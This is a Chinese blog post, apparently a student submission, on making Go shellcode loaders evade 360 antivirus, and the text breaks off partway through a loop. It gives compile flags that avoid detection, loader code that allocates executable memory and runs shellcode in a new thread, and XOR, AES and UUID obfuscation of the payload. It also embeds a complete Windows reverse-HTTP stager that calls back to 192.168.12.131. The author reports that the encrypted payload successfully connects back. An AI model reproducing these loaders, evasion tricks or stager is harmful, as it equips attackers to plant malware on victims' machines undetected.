首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >学员投稿 | go语言免杀360

学员投稿 | go语言免杀360

作者头像
Ms08067安全实验室
发布2024-12-20 19:18:20
发布2024-12-20 19:18:20
26200
代码可运行
举报
运行总次数:0
代码可运行

本文作者:梧桐树叶(Ms08067实验室学员)

先从exe出发 先写一个 正常的输出hello,world exe 用工具 CheckGoBuild.exe -f main.go 批量编译一下

可以筛选出下面命令的exe是不会被杀

代码语言:javascript
代码运行次数:0
运行
复制
go build -o result\3uoQQ19pqH.exe hello.go
go build -o result\4wLjGEibpp.exe -trimpath hello.go
go build -o result\6qM6rSW3U0.exe -ldflags="-s" hello.go
go build -o result\h9WB6qaAGW.exe -ldflags="-w -s" hello.go
go build -o result\HdG6kU4Ad5.exe -ldflags="-w -s -H windowsgui" hello.go

很多的隐藏黑窗口的编译都被杀了

经过反复测试总结, 针对360误杀行为, 推荐的编译方式为 隐藏黑窗口 import "github.com/gonutz/ide/w32" 编译参数 go build -o main.exe -ldflags="-w -s" -trimpath main.go 如果没有恶意代码360还是误杀, 加上导入_ "github.com/spf13/cobra"包

加载器的基本代码

免杀还是对代码的 增删改 增加: 无用的混淆代码 删除: 非必要的代码(能保证shellcode的正常运行就ok)

改: 改开内存方式,shellcode运行方式,把shellcode放到内存中的方式

代码语言:javascript
代码运行次数:0
运行
复制
package main import (
"syscall" "unsafe"
)
func main() {
shellcode_buf := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0}
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), 0x1000|0x2000, 0x40)
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf)))
h, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
WaitForSingleObject.Call(h, 0xfffffff)
// 7.关闭 DLL kernel32.Release()
}

windows api两种调用方式 syscall 和 golang.org/x/sys/windows

代码语言:javascript
代码运行次数:0
运行
复制
package main
import "golang.org/x/sys/windows" func main() {
kernel32 := windows.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") VirtualAlloc.Call()
}

syscall包被查杀的时候, 可以通过其他的第三方包实现Windows api函数的调用 golang.org/x/sys/windows 和 syscall 包都用于在 Go 中调用操作系统的系统调用,但它们之间有一些区别:

1.golang.org/x/sys/windows : golang.org/x/sys/windows 包是 Go 官方提供的一个子包,它专门用于在 Go 中调用Windows 操作系统的API。该包提供了对 Windows API 的低级别封装,使得可以在 Go 中直接调用 Windows API 函数。它提供了一组类型和函数,使得与 Windows API 进行交互更加简单和清晰。

由于其是官方支持的包,因此它的维护和更新通常与 Go 语言本身的版本关联。

2.syscall : syscall 包是 Go 标准库的一部分,它提供了一种通用的接口,用于调用操作系统的系统调用,包括 Windows、Linux、Mac 等。在 Windows 平台上, syscall 包可以被用来调用 Windows API函数,但它通常需要更多的手动工作和类型转换,因为它提供的接口更原始和通用。 与 golang.org/x/sys/windows 包相比,使用 syscall 包更加灵活,但也更加底层,因此在使用时需要更多的了解和小心处理。

所以:只需要在 Go 中调用 Windows API,推荐使用 golang.org/x/sys/windows 包,因为它提供了更清晰、更简单的接口。而 syscall 包则更适合于在不同操作系统之间编写通用的系统调用代码。

加载kernel32.dll的方式 这两个包都可以调用Windows api, 其中调用方式除了MustLoadDLL, 还有另一种 NewLazyDLL 调用kernel32.dll的两个函数 MustFindProc , NewLazyDLL MustLoadDLL 和 NewLazyDLL 的区别 返回类型不一样 , 一个指向 DLL 结构体的指针, 一个指向 LazyDLL 结构体的指针 加载时间不一样, MustLoadDLL 在程序启动时就需要加载并使用 DLL, NewLazyDLL 惰性加载,在程序运行时调用 DLL 函数时才加载 DLL 文件

代码语言:javascript
代码运行次数:0
运行
复制
package main
import "golang.org/x/sys/windows" func main() {
kernel32 := windows.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") VirtualAlloc.Call()
}
代码语言:javascript
代码运行次数:0
运行
复制
package main
import "golang.org/x/sys/windows" func main() {
kernel32 := windows.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") VirtualAlloc.Call()
}

所以更加推荐使用 NewLazyDLL

代码语言:javascript
代码运行次数:0
运行
复制
package main import (
"syscall" "unsafe"
)
func main() {
// 1.加载kernel32.dll
kernel32 := syscall.NewLazyDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.NewProc("VirtualAlloc") RtlMoveMemory := kernel32.NewProc("RtlMoveMemory") sc := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0}
// 3.申请内存, 调用通过 函数名.Call() 调用
// 返回三个值,第一个是内存地址
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
// 4.复制sc到申请的内存中
// &sc[0],因为在go中指针不安全,所以要使用 unsafe.Pointer类型 RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
// 5.回调函数调用
syscall.Syscall(addr, 0, 0, 0, 0)
}

使用 NewLazyDLL 函数加载 DLL 文件时,不需要调用 Release 方法来释放资源

关于dll加载, 其中 MustLoadDLL("ntdll.dll") , 已经被常见杀软标记处特征了, 所以一定要规避

shellcode的处理 异或

代码语言:javascript
代码运行次数:0
运行
复制
package main import (
"fmt"
)
// xorEncrypt 函数用于对消息进行异或加密
func xorEncrypt(message []byte, key byte) []byte { ciphertext := make([]byte, len(message))
for i := 0; i < len(message); i++ {
代码语言:javascript
代码运行次数:0
运行
复制
ciphertext[i] = message[i] ^ key // 使用异或操作进行加密
}
return ciphertext
}
// xorDecrypt 函数用于对消息进行异或解密
func xorDecrypt(ciphertext []byte, key byte) []byte { decrypted := make([]byte, len(ciphertext))
for i := 0; i < len(ciphertext); i++ {
decrypted[i] = ciphertext[i] ^ key // 使用异或操作进行解密
}
return decrypted
}
func main() {
// 1-255
key := 20
shellcode := []byte{0xfc, 0x48}
// 加密消息
encrypted := xorEncrypt(shellcode, byte(key)) hexData := ""
for _, b := range encrypted { hexData += fmt.Sprintf("0x%02x,", b)
}
// 移除末尾的逗号和空格
hexData = hexData[:len(hexData)-1]
// 打印16进制数据
fmt.Printf("加密后的消息:\n%s\n", hexData)
// 解密消息
decrypted := xorDecrypt(encrypted, byte(key)) dhexData := ""
for _, b := range decrypted { dhexData += fmt.Sprintf("0x%02x,", b)
}
// 移除末尾的逗号和空格
dhexData = dhexData[:len(dhexData)-1]
// 打印16进制数据
fmt.Printf("解密后的消息:\n%s", dhexData)
}

AES加密 如果控制台输出有问题就编译为exe输出就ok了

代码语言:javascript
代码运行次数:0
运行
复制
package main import (
"bytes" "crypto/aes" "fmt"
)
func AesEncryptByECB(data []byte, key string) ([]byte, error) {
// 判断 key 长度
keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok {
return nil, fmt.Errorf("invalid key length")
}
// 将 key 转为 []byte
代码语言:javascript
代码运行次数:0
运行
复制
keyByte := []byte(key)
// 创建密码组,长度只能是 16、24、32 字节
block, err := aes.NewCipher(keyByte) if err != nil {
return nil, err
}
// 获取密钥长度
blockSize := block.BlockSize()
// 补码
originByte := PKCS7Padding(data, blockSize)
// 创建保存加密结果的变量
encryptResult := make([]byte, len(originByte))
// ECB 是把整个明文分成若干段相同的小段,然后对每一小段进行加密
for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize {
block.Encrypt(encryptResult[bs:be], originByte[bs:be])
}
return encryptResult, nil
}
// 补码
func PKCS7Padding(originByte []byte, blockSize int) []byte {
// 计算补码长度
padding := blockSize - len(originByte)%blockSize
// 生成补码
padText := bytes.Repeat([]byte{byte(padding)}, padding)
// 追加补码
return append(originByte, padText...)
}
func AesDecryptByECB(data []byte, key string) ([]byte, error) {
// 判断 key 长度
keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok {
}
// 密钥转为 []byte keyByte := []byte(key)
// 创建密码组,长度只能是 16、24、32 字节
block, err := aes.NewCipher(keyByte) if err != nil {
return nil, err
}
// 获取密钥长度
blockSize := block.BlockSize()
// 反解密码 base64 originByte := data
// 创建保存解密变量
decrypted := make([]byte, len(originByte))
for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize {
block.Decrypt(decrypted[bs:be], originByte[bs:be])
}
// 解码
return PKCS7UNPadding(decrypted), nil
}
// 解码
func PKCS7UNPadding(originDataByte []byte) []byte { length := len(originDataByte)
代码语言:javascript
代码运行次数:0
运行
复制
unpadding := int(originDataByte[length-1]) return originDataByte[:(length - unpadding)]
}
func main() {
// 1-255
key := "1234567890abcdef" shellcode :=
[]byte{0x94,0x97,0xc9,0x86,0x59,0x0a,0xe6,0x4c,0x4d,0xa4,0x17,0xa9,0xea,0x30,0x51
,0xf5, 0x57,0x4b,0x8a,0x0d,0x33,0x25,0x18,0x6e,0x04,0x46,0xcb,0x22,0x17,0xa7,0xab,0xec
}
// 加密消息
encrypted, _ := AesEncryptByECB(shellcode, key) hexData := ""
for _, b := range encrypted { hexData += fmt.Sprintf("0x%02x,", b)
}
// 移除末尾的逗号和空格
hexData = hexData[:len(hexData)-1]
// 打印16进制数据
fmt.Printf("加密后的消息:\n%s", hexData)
// 解密消息
decrypted, _ := AesDecryptByECB(encrypted, key) dhexData := ""
for _, b := range decrypted {
dhexData += fmt.Sprintf("0x%02x,", b)
}
// 移除末尾的逗号和空格
dhexData = dhexData[:len(dhexData)-1]
// 打印16进制数据
fmt.Printf("解密后的消息:\n%s", dhexData)

这里我aes加密示例做了一个小工具源码如下 功能为输入16进制的shellcode 和16位的key 可以直接输出我们的aes加密

经过验证shellcode加密后的shellcode可以上线

代码语言:javascript
代码运行次数:0
运行
复制
package main
import (
"bytes" "crypto/aes" "encoding/hex" "fmt" "strings"
)
func AesEncryptByECB(data []byte, key string) ([]byte, error) {
// 判断 key 长度
keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok {
return nil, fmt.Errorf("invalid key length")
}
// 将 key 转为 []byte keyByte := []byte(key)
// 创建密码组,长度只能是 16、24、32 字节 block, err := aes.NewCipher(keyByte) if err != nil {
return nil, err
}
// 获取密钥长度
blockSize := block.BlockSize()
// 补码
originByte := PKCS7Padding(data, blockSize)
// 创建保存加密结果的变量
encryptResult := make([]byte, len(originByte))
// ECB 是把整个明文分成若干段相同的小段,然后对每一小段进行加密
for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize {
block.Encrypt(encryptResult[bs:be], originByte[bs:be])
}
return encryptResult, nil
}
func AesDecryptByECB(data []byte, key string) ([]byte, error) {
// 判断 key 长度
keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok {
return nil, fmt.Errorf("invalid key length")
}
// 密钥转为 []byte keyByte := []byte(key)
// 创建密码组,长度只能是 16、24、32 字节
block, err := aes.NewCipher(keyByte) if err != nil {
return nil, err
}
// 获取密钥长度
blockSize := block.BlockSize()
// 创建保存解密变量
decrypted := make([]byte, len(data))
for bs, be := 0, blockSize; bs < len(data); bs, be = bs+blockSize, be+blockSize {
block.Decrypt(decrypted[bs:be], data[bs:be])
}
// 解码
return PKCS7UNPadding(decrypted), nil
}
func PKCS7Padding(originByte []byte, blockSize int) []byte { padding := blockSize - len(originByte)%blockSize padText := bytes.Repeat([]byte{byte(padding)}, padding) return append(originByte, padText...)
}
func PKCS7UNPadding(originDataByte []byte) []byte { length := len(originDataByte)
unpadding := int(originDataByte[length-1]) return originDataByte[:(length - unpadding)]
}
func formatHexOutput(data []byte) string { hexData := ""
for _, b := range data {
hexData += fmt.Sprintf("0x%02x,", b)
}
// 移除末尾的逗号
return hexData[:len(hexData)-1]
}
func main() {
// 提示用户输入 shellcode var inputShellcode string
fmt.Print("请输入 shellcode (十六进制字符串): ") fmt.Scanln(&inputShellcode)
// 处理 shellcode 输入,去掉前缀 0x
inputShellcode = strings.ReplaceAll(inputShellcode, "0x", "") inputShellcode = strings.ReplaceAll(inputShellcode, ",", "")
// 提示用户输入 key var key string
fmt.Print("请输入 AES 密钥 (16, 24, 或 32 字节): ") fmt.Scanln(&key)
// 将输入的 shellcode 从十六进制字符串转换成字节切片 shellcode, err := hex.DecodeString(inputShellcode) if err != nil {
fmt.Printf("Error decoding shellcode: %v\n", err) return
}
// 检查 key 长度
keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok {
fmt.Println("无效的密钥长度,必须是 16, 24 或 32 字节")
return
}

// 加密消息
encrypted, err := AesEncryptByECB(shellcode, key) if err != nil {
fmt.Printf("Error during encryption: %v\n", err) return
}
// 格式化加密后的消息
hexData := formatHexOutput(encrypted)
// 打印16进制数据
fmt.Printf("加密后的消息:\n%s\n", hexData)
// 解密消息
decrypted, err := AesDecryptByECB(encrypted, key) if err != nil {
fmt.Printf("Error during decryption: %v\n", err) return
}
// 格式化解密后的消息
dhexData := formatHexOutput(decrypted)
// 打印16进制数据
fmt.Printf("解密后的消息:\n%s\n", dhexData)

package main import (
"crypto/aes" "syscall" "unsafe"
)
func AesDecryptByECB(data []byte, key string) ([]byte, error) {
// 判断 key 长度
keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok {
}
// 密钥转为 []byte keyByte := []byte(key)
// 创建密码组,长度只能是 16、24、32 字节 block, err := aes.NewCipher(keyByte) if err != nil {
return nil, err
}
// 获取密钥长度
blockSize := block.BlockSize()
// 反解密码 base64 originByte := data
// 创建保存解密变量
decrypted := make([]byte, len(originByte))
for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize {
block.Decrypt(decrypted[bs:be], originByte[bs:be])
}
// 解码
return PKCS7UNPadding(decrypted), nil
}
// 解码
func PKCS7UNPadding(originDataByte []byte) []byte { length := len(originDataByte)
unpadding := int(originDataByte[length-1]) return originDataByte[:(length - unpadding)]
}
func main() {
// 1.加载kernel32.dll
kernel32 := syscall.NewLazyDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.NewProc("VirtualAlloc") RtlMoveMemory := kernel32.NewProc("RtlMoveMemory") CreateThread := kernel32.NewProc("CreateThread") WaitForSingleObject := kernel32.NewProc("WaitForSingleObject") encrypted := []byte{0x94, 0x97, 0xc9, 0x86, 0x59,  }
key := "1234567890abcdef"
sc, _ := AesDecryptByECB(encrypted, key)
// 3.申请内存, 调用通过 函数名.Call() 调用
// 返回三个值,第一个是内存地址
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
// 4.复制sc到申请的内存中
// &sc[0],因为在go中指针不安全,所以要使用 unsafe.Pointer类型 RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
// 5.创建线程
thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
// 6.等待线程创建 WaitForSingleObject.Call(thread, 0xFFFFFFFF)
}
package main
import (
"crypto/aes" "syscall" "unsafe"
)
func AesDecryptByECB(data []byte, key string) ([]byte, error) {
// 判断 key 长度
keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok {
}
// 密钥转为 []byte keyByte := []byte(key)
// 创建密码组,长度只能是 16、24、32 字节 block, err := aes.NewCipher(keyByte) if err != nil {
return nil, err
}
// 获取密钥长度
blockSize := block.BlockSize()
// 反解密码 base64 originByte := data
// 创建保存解密变量
decrypted := make([]byte, len(originByte))
forbs,be:=0,blockSize;bs<len(originByte);bs,be=bs+blockSize, be+blockSize {
block.Decrypt(decrypted[bs:be], originByte[bs:be])
}
// 解码
return PKCS7UNPadding(decrypted), nil
}
// 解码
func PKCS7UNPadding(originDataByte []byte) []byte { length := len(originDataByte)
unpadding := int(originDataByte[length-1]) return originDataByte[:(length - unpadding)]
}
func main() {
// 1.加载kernel32.dll
kernel32 := syscall.NewLazyDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.NewProc("VirtualAlloc") RtlMoveMemory := kernel32.NewProc("RtlMoveMemory") CreateThread := kernel32.NewProc("CreateThread") WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
代码语言:javascript
代码运行次数:0
运行
复制
encrypted:=[]byte{0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00, 0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,
0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b,
0x72, 0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01, 0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c, 0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x75,0x72,0x8b,0x80,
0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50,
0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48, 0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75, 0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b,
0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48,
0x83, 0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b, 0x12,0xe9,0x4f,0xff,0xff,0xff,0x5d,0x6a,0x00,0x49,0xbe,0x77,0x69, 0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x49,0x89,0xe6,0x4c,0x89,
0xf1, 0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x48,0x31,0xc9,0x48, 0x31,0xd2,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x41,0x50,0x41,0x50,0x41,
0xba, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xeb, 0x73, 0x5a, 0x48, 0x89, 0xc1,
0x41, 0xb8, 0x50, 0x00, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x41, 0x51, 0x41, 0x51,
0x6a, 0x03,0x41,0x51,0x41,0xba,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb, 0x59,0x5b,0x48,0x89,0xc1,0x48,0x31,0xd2,0x49,0x89,0xd8,0x4d,0x31,
0xc9, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x41, 0xba, 0xeb, 0x55,
0x2e, 0x3b,0xff,0xd5,0x48,0x89,0xc6,0x48,0x83,0xc3,0x50,0x6a,0x0a, 0x5f,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0xff,0xff,0xff, 0xff,0x4d,0x31,0xc9,0x52,0x52,0x41,0xba,0x2d,0x06,0x18,0x7b,0xff, 0xd5,0x85,0xc0,0x0f,0x85,0x9d,0x01,0x00,0x00,0x48,0xff,0xcf,0x0f, 0x84,0x8c,0x01,0x00,0x00,0xeb,0xd3,0xe9,0xe4,0x01,0x00,0x00,0xe8, 0xa2,0xff,0xff,0xff,0x2f,0x54,0x52,0x4f,0x68,0x00,0x13,0xb1,0x6c, 0x35,0xe4,0x86,0x86,0xdc,0x8c,0x21,0x4e,0xc2,0x2d,0x8b,0x98,0x50, 0xf9,0x82,0x35,0xd3,0xd8,0x9b,0x1d,0x0d,0xc2,0x5d,0x42,0x1c,0x90, 0x96,0x27,0xf2,0x2a,0x3d,0xb3,0xfe,0x21,0xa8,0xab,0x7f,0x6d,0x35, 0x32,0x7a,0xda,0xf0,0xb7,0x89,0xc9,0x00,0x08,0x37,0xca,0x46,0x09, 0xab,0x96,0x23,0xc4,0xd4,0x0c,0x2f,0xd5,0xa2,0xb0,0xfb,0xae,0x1f, 0xfb,0xe4,0x77,0xa3,0x8c,0x00,0x55,0x73,0x65,0x72,0x2d,0x41,0x67,
0x65, 0x6e,0x74,0x3a,0x20,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f, 0x35,0x2e,0x30,0x20,0x28,0x63,0x6f,0x6d,0x70,0x61,0x74,0x69,0x62,
0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x39, 0x2e, 0x30, 0x3b,
0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36,
0x2e, 0x31, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x36, 0x34, 0x3b, 0x20, 0x78, 0x36,
0x34, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x35, 0x2e,
0x30, 0x29,0x0d,0x0a,0x00,0xb3,0x89,0x55,0x50,0xe9,0xc4,0x88,0xaa, 0xba,0x3b,0x05,0x1e,0x61,0xde,0x48,0x8f,0x43,0xc4,0xad,0xb1,0x8c, 0x90,0x86,0x6b,0x67,0xfb,0x70,0xab,0x79,0xf9,0x1b,0x74,0xdd,0xa9, 0x7e,0xc3,0x97,0x11,0x68,0x26,0xc6,0xb9,0xb7,0x4f,0x74,0x4c,0x9f, 0xc5,0xc5,0x37,0xd7,0x8c,0xad,0xd1,0x0f,0x37,0x12,0xe6,0xfe,0xb6, 0x3d,0x2c,0xa0,0x6f,0xe3,0x3b,0x9a,0xfb,0x26,0xfa,0xb4,0x9a,0x90, 0xdc,0xd0,0xf0,0xce,0xd7,0x11,0x2d,0x9b,0x15,0xdf,0x1e,0xfb,0x10, 0x91,0x50,0xd3,0x26,0x04,0x46,0x76,0x6e,0xeb,0x2a,0xbc,0x31,0x40, 0x53,0xcb,0xe0,0x3c,0xa4,0x85,0xce,0x24,0x3e,0xf8,0xd3,0xea,0x43, 0x05,0xb0,0x72,0x98,0x86,0x9e,0xaf,0xa4,0xad,0x57,0x4b,0x97,0xbc, 0xdb,0x89,0xac,0x9a,0xa9,0xd2,0x40,0x8e,0x42,0x1e,0x38,0x0e,0x32, 0x1c,0xf8,0xd9,0xc3,0x91,0x1a,0x27,0x2f,0xf5,0x5f,0x3a,0x92,0x3b, 0xd7,0xac,0xa8,0x8d,0xe3,0x8e,0x02,0xe3,0x5d,0x51,0xe7,0x31,0xa1,
0x31,0x39,0x6c,0xaa,0x6e,0xd1,0xfa,0x6c,0x8b,0x3b,0x75,0xed,0xe2, 0x81,0x68,0x7a,0x49,0x63,0x35,0xc9,0x93,0xb0,0xe7,0xfb,0xf4,0x25, 0x0d,0xfb,0x2f,0x1d,0x51,0x2e,0xae,0xa9,0x1d,0x10,0x42,0xec,0x1f, 0xee,0x4e,0x55,0xcd,0x54,0x3f,0x47,0x46,0x5e,0x36,0x00,0x41,0xbe, 0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x31,0xc9,0xba,0x00,0x00,0x40, 0x00,0x41,0xb8,0x00,0x10,0x00,0x00,0x41,0xb9,0x40,0x00,0x00,0x00,
0x41, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x48, 0x93, 0x53, 0x53, 0x48,
0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x41, 0xb8, 0x00, 0x20, 0x00,
0x00, 0x49,0x89,0xf9,0x41,0xba,0x12,0x96,0x89,0xe2,0xff,0xd5,0x48, 0x83,0xc4,0x20,0x85,0xc0,0x74,0xb6,0x66,0x8b,0x07,0x48,0x01,0xc3,
0x85, 0xc0, 0x75, 0xd7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00, 0x00, 0x00, 0x00,
0x50, 0xc3,0xe8,0x9f,0xfd,0xff,0xff,0x31,0x39,0x32,0x2e,0x31,0x36, 0x38,0x2e,0x31,0x32,0x2e,0x31,0x33,0x31,0x00,0x00,0x01,0x86,0xa0}
key := "1234567890abcdef"
sc, _ := AesDecryptByECB(encrypted, key)
// 3.申请内存, 调用通过 函数名.Call() 调用
// 返回三个值,第一个是内存地址
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
// 4.复制sc到申请的内存中
// &sc[0],因为在go中指针不安全,所以要使用 unsafe.Pointer类型 RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
// 5.创建线程
thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
// 6.等待线程创建 WaitForSingleObject.Call(thread, 0xFFFFFFFF)
}

uuid加密

代码语言:javascript
代码运行次数:0
运行
复制
package main
import (
"fmt"
"log" "syscall"

"unsafe"
)
func main() {
kernel32 := syscall.MustLoadDLL("kernel32.dll") rpcrt4 := syscall.MustLoadDLL("rpcrt4.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
UuidFromStringA := rpcrt4.MustFindProc("UuidFromStringA")
// `UuidFromStringA` 是 `rpcrt4.dll` 中的一个函数,用于将字符串表示的 UUID 转换为
UUID 结构。
uuids := []string{"e48348fc-e8f0-00c8-0000-415141505251", "d2314856-4865-528b-6048-8b5218488b52", "728b4820-4850-b70f-4a4a-4d31c94831c0", "7c613cac-2c02-
4120-c1c9-0d4101c1e2ed", "48514152-528b-8b20-423c-4801d0668178", "75020b18-8b72-
8880-0000-004885c07467", "50d00148-488b-4418-8b40-204901d0e356", "41c9ff48-348b-
4888-01d6-4d31c94831c0", "c9c141ac-410d-c101-38e0-75f14c034c24", "d1394508-d875-
4458-8b40-244901d06641", "44480c8b-408b-491c-01d0-418b04884801", "415841d0-5e58-
5a59-4158-4159415a4883", "524120ec-e0ff-4158-595a-488b12e94fff", "6a5dffff-4900-
77be-696e-696e65740041", "e6894956-894c-41f1-ba4c-772607ffd548", "3148c931-4dd2-c031-4d31-c94150415041", "79563aba-ffa7-ebd5-735a-4889c141b850", "4d000000-c931-5141-4151-6a03415141ba", "c69f8957-d5ff-59eb-5b48-89c14831d249", "314dd889-52c9-
0068-0240-84525241baeb", "ff3b2e55-48d5-c689-4883-c3506a0a5f48", "8948f189-49da-
c0c7-ffff-ffff4d31c952", "2dba4152-1806-ff7b-d585-c00f859d0100", "cfff4800-840f-018c-0000-ebd3e9e40100", "ffa2e800-ffff-542f-524f-680013b16c35", "dc8686e4-218c-
c24e-2d8b-9850f98235d3", "0d1d9bd8-5dc2-1c42-9096-27f22a3db3fe", "7faba821-356d-7a32-daf0-b789c9000837", "ab0946ca-2396-d4c4-0c2f-d5a2b0fbae1f", "a377e4fb-008c-7355-6572-2d4167656e74", "6f4d203a-697a-6c6c-612f-352e30202863", "61706d6f-6974-
6c62-653b-204d53494520", "3b302e39-5720-6e69-646f-7773204e5420", "3b312e36-5720-
6e69-3634-3b207836343b", "69725420-6564-746e-2f35-2e30290d0a00", "505589b3-c4e9-
aa88-ba3b-051e61de488f", "b1adc443-908c-6b86-67fb-70ab79f91b74", "c37ea9dd-1197-2668-c6b9-b74f744c9fc5", "8cd737c5-d1ad-370f-12e6-feb63d2ca06f", "fb9a3be3-fa26-9ab4-90dc-d0f0ced7112d", "1edf159b-10fb-5091-d326-0446766eeb2a", "534031bc-e0cb-a43c-85ce-243ef8d3ea43", "9872b005-9e86-a4af-ad57-4b97bcdb89ac", "40d2a99a-428e-381e-0e32-1cf8d9c3911a", "5ff52f27-923a-d73b-aca8-8de38e02e35d", "a131e751-3931-
aa6c-6ed1-fa6c8b3b75ed", "7a6881e2-6349-c935-93b0-e7fbf4250dfb", "2e511d2f-a9ae-101d-42ec-1fee4e55cd54", "5e46473f-0036-be41-f0b5-a256ffd54831", "0000bac9-0040-b841-0010-000041b94000", "ba410000-a458-e553-ffd5-489353534889", "f18948e7-8948-41da-b800-2000004989f9", "9612ba41-e289-d5ff-4883-c42085c074b6", "48078b66-c301-c085-75d7-585858480500", "50000000-e8c3-fd9f-ffff-3139322e3136", "32312e38-312e-3133-0000-0186a0000000"}
// 计算需要分配的内存大小
memSize := uintptr(len(uuids) * 16) // 每个 UUID 占用 16 字节
addr, _, _ := VirtualAlloc.Call(0, memSize, 0x1000|0x2000, 0x40) addrPtr := addr
// 在 `for` 循环中,将每个字符串形式的 UUID 转换为二进制格式,然后调用
`UuidFromStringA` 将其写入内存。
for _, uuid := range uuids {
u := append([]byte(uuid), 0)
